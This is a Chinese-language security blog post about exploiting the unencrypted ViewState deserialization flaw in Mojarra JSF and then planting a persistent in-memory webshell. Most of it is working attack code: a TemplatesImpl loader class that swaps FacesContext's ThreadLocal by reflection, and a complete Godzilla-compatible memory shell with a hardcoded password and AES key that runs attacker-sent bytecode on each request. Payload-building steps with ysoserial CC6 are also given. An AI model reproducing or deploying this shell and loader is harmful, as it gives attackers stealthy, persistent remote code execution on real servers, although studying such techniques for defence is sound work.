某次攻防演练中遇到了一个OA靶标,登录页面为login.jsf
,当时并不了解JSF反序列化,还是大哥直接一发payload 打了下来,事后便有了这篇文章。
环境搭建
使用vulhub的环境,启动容器后将/usr/src
目录下的文件拷贝出来,新建maven项目,打包为war,启动tomcat,开始分析。
漏洞复现
该漏洞利用点在javax.faces.ViewState
参数,该参数是用来保存页面状态的,在其 2.1.29-08、2.0.11-04 版本之前,参数未加密,并且直接将其进行了反序列化。
实际环境中,识别该组件可以通过以下方式:
-
• 文件名、参数名是否有
jsf
字样 -
• 表单参数默认值是否以
H4sIA
开头(Base64Gzip)
这次靶标的漏洞参数名为jsf_state_64
,也就是从这里发现了端倪。
vulhub用的jdk7u21
链,我这里自己加了CC依赖,然后使用了CC6,ysoserial
生成payload,先gzip压缩,再base64编码,最后URL编码,放入参数中。
构造内存马
大哥的打法是根据当时的容器注入了一个Weblogic内存马,这样虽然也成功完成了任务,不过在了解了一下JSF之后,我开始思考:有没有办法依靠JSF本身的机制来构造内存马呢?
JSF在国内流行度不高,以至于我找了近一周的资料,再加上和开发群群友的友好交♂流,才构造成功。
首先来看一下JSF技术的架构,其本质是MVC:
由上图可以看出,负责处理的部分是FacesServlet
,在web.xml
中能看到配置:
对每个JSF请求,FacesServlet
对象都会为其获取一个javax.faces.context.FacesContext
类的实例,FacesContext
的实例里包含了所有处理JSF请求所需的每个请求的状态信息,如下图所示:
可以看出,请求响应的核心就是FacesContext
实例,它里面存放着应用程序的全部数据,我们也可以从中取出request
以及response
对象。
如何获取该实例呢?有一个静态方法FacesContext.getCurrentInstance()
,它会返回与当前请求对应的FacesContext
对象:
public static FacesContext getCurrentInstance() {
FacesContext facesContext = (FacesContext)instance.get();
if (null == facesContext) {
facesContext = (FacesContext)threadInitContext.get(Thread.currentThread());
}
return facesContext;
}
这里的instance
字段是什么呢?是一个静态的ThreadLocal
对象:
private static ThreadLocal<FacesContext> instance = new ThreadLocal<FacesContext>() {};
这是为了实现FacesContext
对象能够在同个线程内进行传递,便于后续的处理器能够处理。FacesContext
并非遵循单例模式,它是每一个HTTP请求对应一个FacesContext
对象,也就是一个线程,正常情况下为了保证线程安全,每个线程之间的变量数据都是隔离的,所以如何使得自己的内存马能够影响所有FacesContext
对象,这是一个需要解决的问题。
查找资料的时候,c0ny1师傅的 半自动化挖掘request实现多种中间件回显 给了我一点启示:
以及fnmsd师傅的 基于请求/响应对象搜索的Java中间件通用回显方法(针对HTTP):
所以思路是:将正常FacesContext
对象的instance
字段(希望你还没有忘记它是一个ThreadLocal
对象)利用反射替换为一个A
对象,A应该是ThreadLocal
的子类,并且重写了其set()
方法,其中添加了内存马的逻辑。
因为每次请求都会调用ThreadLocal.set()
,也就会触发我们的内存马逻辑,恶意类已经被JVM加载,基本上是不会被卸载掉的,也就达到了持久化的目的。
具体实现
实现部分,分为两块来完成,分别是:内存马类和替换类。
所以整体逻辑就是,利用TemplatesImpl
类加载替换类,替换类的作用是加载内存马类并替换掉原本的instance
字段,具体代码如下:
//替换类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Loaders {
public static class PayloadLoader extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements java.io.Serializable{
static {
try {
byte[] evilBytes;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Class facesClass = classLoader.loadClass("javax.faces.context.FacesContext");
String className = "org.razor.exploits.JSFMemShellGodzilla4"; //内存马类名
String evilBytesStr = "yv66vgAAA……"; //内存马类字节码
Class base64Class = classLoader.loadClass("java.util.Base64");
Class base64DecodeClass = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Class.getMethod("getDecoder").invoke(base64Class);
Method decodeMethod = base64DecodeClass.getMethod("decode", String.class);
evilBytes = (byte[]) decodeMethod.invoke(decoder, evilBytesStr);
Method defineClassMethod = classLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
defineClassMethod.setAccessible(true);
Class evilClass = (Class) defineClassMethod.invoke(classLoader, className, evilBytes, Integer.valueOf("0"), evilBytes.length);
Object evilObject = evilClass.newInstance();
Field field = facesClass.getDeclaredField("instance");
field.setAccessible(true);
field.set(null, evilObject);
} catch (Exception e) {
}
}
public PayloadLoader(){this.transletVersion = 101;}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
}
//哥斯拉内存马类
package org.razor.exploits;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class JSFMemShellGodzilla4 extends ThreadLocal{
private static ThreadLocal newInstance;
private static ClassLoader classLoader;
private static String password = "pass";
private static String key = "3c6e0b8a9c15224a";
private static String md5 = md5(password + key);
private static Class payload;
static {
try{
classLoader = Thread.currentThread().getContextClassLoader();
Field field = classLoader.loadClass("javax.faces.context.FacesContext").getDeclaredField("instance");
field.setAccessible(true);
newInstance = (ThreadLocal)field.get(null);
}catch (Exception e){
}
}
public Class defClass(byte[] classBytes) throws Throwable {
Method method = classLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
return ((Class)method.invoke(classLoader, null, classBytes, Integer.valueOf("0"), classBytes.length));
}
@Override
public Object get(){
return newInstance.get();
}
@Override
public void set(Object obj){
newInstance.set(obj);
try{
Field field = obj.getClass().getDeclaredField("externalContext");
field.setAccessible(true);
Object externalContext = field.get(obj);
Field field2 = externalContext.getClass().getDeclaredField("request");
field2.setAccessible(true);
HttpServletRequest request = (HttpServletRequest)field2.get(externalContext);
Field field3 = externalContext.getClass().getDeclaredField("response");
field3.setAccessible(true);
HttpServletResponse response = (HttpServletResponse)field3.get(externalContext);
byte[] evilBytes = base64Decode(request.getParameter(password));
evilBytes = x(evilBytes, false);
if(payload == null){
payload = defClass(evilBytes);
}else{
ByteArrayOutputStream arrayOutputStream = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrayOutputStream);
f.equals(evilBytes);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrayOutputStream.toByteArray(), true)));
response.getWriter().write(md5.substring( 16));
}
}catch (Exception e){
} catch (Throwable e) {
}
}
public static byte[] x(byte[] s,boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(key.getBytes(),"AES"));
return c.doFinal(s);
}catch (Exception e){
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64=Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e)
{
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {
}
}
return value;
}
}
先编译内存马类,将其base64字符串填入替换类,再编译替换类为字节码,再使用反序列化利用链加载替换类字节码,最后将payload编码:
该方法只测试了Tomcat环境,其余环境未测试。
总结
参考文章
-
• https://www.cnblogs.com/nice0e3/p/16205220.html
-
• https://www.yiibai.com/jsf/jsf-life-cycle.html
-
• https://www.cnblogs.com/CoLo/p/16886829.html
-
• http://www.blogjava.net/AllanZ/archive/2009/07/20/287472.html
-
• http://www.blogjava.net/AllanZ/archive/2009/07/20/287469.html
-
• https://y4er.com/posts/solve-the-problem-of-godzilla-memory-shell-pagecontext
-
• https://xz.aliyun.com/t/10556
-END-
如果本文对您有帮助,来个点赞、在看就是对我们莫大的鼓励。
推荐关注:
团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。
原文始发于微信公众号(弱口令安全实验室):Mojarra JSF 反序列化到内存马